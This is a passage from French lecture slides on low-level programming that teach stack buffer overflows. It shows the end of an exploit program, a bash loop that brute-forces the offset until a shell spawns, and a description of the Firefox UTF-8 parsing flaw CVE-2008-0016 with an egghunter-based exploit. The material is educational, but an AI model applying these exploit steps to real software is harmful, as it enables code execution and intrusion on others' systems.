execl(PATH, ”vuln”, buffer, NULL);
}
long getESP(void) {
asm (”mov
%esp,%eax”); }
ISIDIS : cours
58 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Ecriture d’un exploit (5)
Un dernier problème se pose : l’estimation de l’offset. Voici un
petit programme en bash qui fait un brute-force pour le trouver :
$ A=-1; while [ 1 ]; do A=$((A+1)); ./a.out $A; done
ESP Register : 0xbfe031b8
Offset
: 0
Address
: 0xbfe031b8
Segmentation fault
ESP Register : 0xbf90ad18
Offset
: 1
Address
: 0xbf90ad19
Segmentation fault
ESP Register : 0xbfdeb1f8
Offset
: 2
Address
: 0xbfdeb1fa
Segmentation fault
ESP Register : 0xbf8e44f8
Offset
: 3
Address
: 0xbf8e44fb
sh-3.1$
Victoire !
ISIDIS : cours
59 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Un exemple rigolo (1)
Une faille dans le navigateur Mozilla Firefox 2.0.0.16. Cette faille
était connue et décrite dans la CVE-2008-0016, et affectait aussi
les logiciels Thunderbird 2.0.0.17 et SeaMonkey 1.1.12. Le
problème se situait au niveau de l’implantation du parseur d’URL
qui permetait à un pirate d’exécuter du code arbitraire via un lien
dont l’adresse était encodée en UTF-8, sous
ConvertUTF8toUTF16 : :write()qui copie la chaı̂ne via une boucle
dont le code vérifie que la fin de l’espace alloué n’est pas atteind.
const value type∗ p = start;
const value type∗ end = start + N;
for ( ; p != end; ) {
char c = ∗p++;
// ...
while ( state−− ) {
c = ∗p++; // bug!
Lors de l’incrémentation de p, dans la boucle imbriquée, il n’y a en
effet rien qui empêche le pointeur de dépasser la fin du buffer.
ISIDIS : cours
60 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Un exemple rigolo (2)
L’exploit (pour Windows XP pack 3) se composait alors d’un
serveur HTTP qui, lorsqu’il est contacté par un navigateur
internet, envoie une page HTML encodée en UTF-8 contenant un
lien dont l’URL est terminée par un caractère multi-byte avec un
shellcode. Dans l’attaque, il y avait un ”egghunter” qui se chargait
de rechercher un préfixe reconnaissable dans la mémoire et
d’amener le registre %eip à l’adresse du code malveillant (sous la
forme de la page HTML). Il s’agit donc de localiser en mémoire le
code à exécuter, et d’y faire pointer le registre %eip.
ISIDIS : cours
61 / 62
A la semaine prochaine
Téléchargement